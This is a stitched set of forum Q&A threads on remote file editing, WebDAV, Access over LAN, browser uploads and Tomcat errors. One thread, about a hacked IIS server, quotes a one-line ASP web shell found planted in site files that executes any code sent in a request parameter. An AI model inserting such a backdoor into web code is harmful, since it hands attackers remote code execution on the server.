I am trying to see if anybody is aware of any ssh or ftp ways of editing files in expression web. This is similar to notepad++. I am already aware of sftpdrive option. I am looking for something that is free, and robust.
I have not played with open site feature in Expression Web. I am not sure if this will work well with a php site on a Linux box.
Connect your Expression Web directly to any FTP server in the open site dialog by typing the ftp address in the site name placeholder like ftp://myftpsite.com. Expression web ask you for your login and password and list your folders to begin to edit your files. It’s very easy, no problems at all.
Another option is to use samba or nfs to mount a directory on your local machine. If the server is live, you should restriction connections by ip and/or with a vpn.
Be aware that some editors will lag quite a lot with these solutions though, especially with large files.
Related
I am working on customizing the oracle service cloud customer portal, but since OSvC provides only WebDAV to connect to it. It is very time-consuming to edit files and then upload them to WebDAV even for a single word change.
I am looking for a solution to serve it locally make desired changes and then upload the desired code to webDEV.
But after searching the file structure I can not make which framework it uses, I tried to use websites like https://builtwith.com/ and WhatRuns but they are also not able to find anything useful.
Although after searching in the file structure, I find some files of CodeIgnitor but the structure is way more different than the CodeIgnitor folder structure.
The short answer is no, you will not be able to run Customer Portal locally. While it is a fork of CodeIgniter from many years ago, there are server-side dependencies that will prevent you from running it in a local sandbox.
That said, it is possible to automate many of the manual tasks of interacting with WebDAV for change testing. If you edit locally, then you can use scripting hooks or event RPA robots to automate some of the manual file movement. Personally I have a flow to edit remotely in my test environment with an editor (like VSCode or Nova) that can connect to a remote server via WebDAV and edit files directly in the development area of a site. Then, when finished, I have a script that pulls down the latest version of all files and then allows me to commit changes to Git for SCM.
Another option is RPA. You can develop a robot that can be run to automate the manual tasks that you face in your workflow. Personally, I think that scripting is a better solution than RPA since you can automate all of the actions via scripting or a shell. But, it's another option to consider.
Another way of "Live editing" the OSvC CP code is to connect to WebDav via a software that supports it like Mountain Duck which uploads your code to OSvC on save.
OR use the better solution Windows Explorer which supports connecting to WebDav and treating it like a network drive, by going on My Computer -> Computer -> Map Network Drive then put https://yoursite.custhelp.com/dav/cp click Next then you'll be promoted to login using your OSvC login.
One of my clients noticed a message in google search results that said their website may have been hacked. After some digging, I found html files on the server that contained seo garbage and javascript references. I removed those files, change cms passwords, updated some components like CKFinder, etc...
I then started looking into other sites on the server and found tons of .asp files with this line
<%If Request("cmp")<>"" Then Execute(Request("cmp"))%>nofoundfile
I've removed those but do not know how they got there. I've looked through various logs (event viewer, website, ftp) but most don't go back far enough from when the files were created.
I've updated the OS, which was only a month or two out of date, and changed ftp access.
What else can I do to find the point of entry or make sure my server and sites are safe?
BTW: This is a windows 2003 server running IIS 6.0.
There is multiple ways that they may have gotten access to your server.
Are you running a common CMS or custom?
It could be possible that they have found a vulnerability in one of your scripts.
for example if they found a SQL injection vulnerability they could retrive database information.
if they where to find a RCE bug (remote code execution) they maybe have been able to execute system commands leading to the creating of those arbitrary files.
Other than that, there are a few vulnerabilities in windows server that have been patched this week, check out this link :
http://blog.spiderlabs.com/2014/02/microsoft-patch-tuesday-february-2014.html
My MS access database is located here :
http://192.168.202.1/dbname.mdb
Other computer in LAN network have VB.net s/w installed.
How do I connect to this db?
Thanks in advance :)
Actually, your terminology you using is wrong. You don't connect to a word file. You don't connect to a power point file.
So you have to keep in mind here you are not really connecting to some text file or mdb file that just happens to be sitting on a hard drive.
You are thus simply opening a file.
I mean it is silly to say we connect to a word file, or we connect to a Power point file. So in the case of the office suite and those basic simple files that resides on the disk drive?
We are talking about plane Jane windows file.
A horse is a horse is a horse.
A file is a file is a file.
So you don't connect to the jpg file sitting on the hard drive, you OPEN the jpg file. So if you talking about your current setup it best to use the correct terminology here. You are not connecting to that Access mdb file, but are in fact opening a plane Jane windows file. If you look close at your connection string, it will ALWAYS have a fully qualified windows path name in it that resolves to a file sitting on a folder.
So if you place that file on some server, say web server, then then you still faced with having to open that windows file. This is NOT ANY different then wanting to open a power point file. That means if you going to connect over the internet then you need to EXTEND the windows file system (this means you will need some kind of VPN). At the end of the day, if you cannot use windows networking to brwose and open the folder where that file resides, then you cannot open that file with Access (or more specific in your case the JET data engine).
So for example, if the server where the file resides is a non windows box, say Linux, then you need to "add or use" or "install" the windows file and networking system on that box. A common choice in Linux is to install and run Samba on that computer.
Keep in mind that in the case of using SQL server, then you are connecting to a SERVICE running ON THAT server. In this case then you not opening a file on the remote box, but are simply using a socket (tp/ip) connection to some service. So you not just opening a silly old windows file that happens to be a mdb file on that system in this case.
So as such when you use FTP or http, these are not real "windows" networking systems that allow you to open + use a plane Jane windows file.
So as such, just keep in mind the concept here that you are NOT connecting to some file, but you are just going to OPEN the file.
You need to be able to OPEN the file, and you need to be using the windows networking system to do this open file in the case of Access. I mean, you don't have to install Access(JET) on the target computer. You don't have to install Power Point on the target computer to open a power point file. So you are ONLY opening a file that just happens to be on some other computer.
As such, your path name of http: is not allowed since that is now using http, and not windows file/networking system. As such a path name has nothing to do with windows networking and opening of a simple file sitting on the hard disk. So HTTP or FTP etc. are not based on windows networking and file system.
I don’t think this basic concept is too hard to grasp, but at the end of the day the concept you need to grasp and learn is that when you open a windows file sitting in a folder on the hard drive, then then will you need the windows file system to open such files. The idea and concept of opening a file in a folder might be new to you, but it is a basic requirement and understanding you need to solve this issue.
As noted, you can consider a VPN, but I explain why such a setup is not going to work in this article:
Using a wan with ms-access? How fast, how far?
http://www.kallal.ca/Wan/Wans.html
I suppose another possibility would be to consider the new web publishing ability that Access has. In the following video note how I switch to running the Access application 100% in the browser. The resulting application does not need any ActiveX or Silverlight. So the web pages run + work fine on my smartphone and even my iPad.
http://www.youtube.com/watch?v=AU4mH0jPntI
So you can use the new web publishing feature, and that would allow one to use http: to use the application.
Is it possible for a website to automatically find a folder on usb stick and upload all the files in it to the web server by clicking only one button?
The problem is that I don't know how to make upload form automatically detect usb stick as the drive name(ie. G:, F:, etc) may vary from computer to computer, so hard coding path is not possible.
Ps. I'm using yii framework for site development, but can add a new page that will handle this in any other language as the client really wants this feature.
Web sites are not allowed to set default files to upload (it's a major security risk!). Also, web sites cannot scan the hard drive/enumerate what file systems exist on a system, again, for security purposes.
It might be possibly to do this with Flash/Silverlight/Java. Java seems the most likely to allow a web developer to do this (Java plugin seems to be quite willing to give out every permission under the Sun).
Short answer: No.
Long answer: Allowing automatic uploads in web browsers would be a huge security hole so the browsers intentionally prevent it. Even if you manage to find a hole that permits it, the browser makers will break it as soon as they find out.
However, if you have an environment where an actual separate program can be installed on the end user's computer you could easily write a program to do automated uploads of specified directories when launched.
I have developed a webapplication in my local machine. the application is hosted on tomcat 7.0.22 server. the application is accessed using http://localhost:8080/app
When i use this in my localmachine, I am not facing any problems. But when I intend to share the link with my fellow team mates using the links http://myipaddress:8080/app, I am getting Javascript errors. I placed the js files in the build path of the application.
Even i have noticed the tables width are changed in the same browser
I am unable to find the problem. Can any one help
Thanks,
Vamsi
When testing on your own machine, use your own IP instead of "localhost" and should be able to compare apples with apples and avoid confusing cause and effect.
I would say to check the configuration of your host or vhost files, but if all included JS files are on the same host, that is unlikely to be the problem.
My guess is that you hard coded a path somewhere or that the problem is related to some other difference between testing from your machine and their machine (different browser, versions, plugins, etc) and not actually related at all to the domain. Could possibly also be a file permission problem (but that is a wild guess).